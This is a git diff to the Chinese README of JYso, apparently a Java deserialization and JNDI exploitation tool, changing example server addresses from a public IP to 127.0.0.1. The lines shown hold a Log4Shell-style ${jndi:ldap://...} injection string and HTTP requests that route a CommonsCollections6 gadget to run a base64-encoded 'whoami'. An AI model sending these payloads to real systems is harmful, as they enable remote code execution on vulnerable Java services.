diff --git a/JYso‐CN.md b/JYso‐CN.md index f25a947..4ed6ead 100644 --- a/JYso‐CN.md +++ b/JYso‐CN.md @@ -37,7 +37,7 @@ java -jar JYso-[version].jar --jndi -i 127.0.0.1 -u "dc=ex" -p "123456" ${jndi:ldap://127.0.0.1:1389/Deserialization/CommonsCollections6/sethttp} ``` ```shell -http://111.229.10.212:3456/setPathAlias?a=whoami +http://127.0.0.1:3456/setPathAlias?a=whoami ``` ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230705100008.png) @@ -122,10 +122,10 @@ public class Main { + 对于路由完全不可控的情况下,从http处获取 ```shell -${jndi:ldap://111.229.10.212:1389/} +${jndi:ldap://127.0.0.1:1389/} ``` ```shell -http://111.229.10.212:3456/setRoute?a=Deserialization/CommonsCollections6/command/Base64/d2hvYW1p +http://127.0.0.1:3456/setRoute?a=Deserialization/CommonsCollections6/command/Base64/d2hvYW1p ``` ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230706103914.png)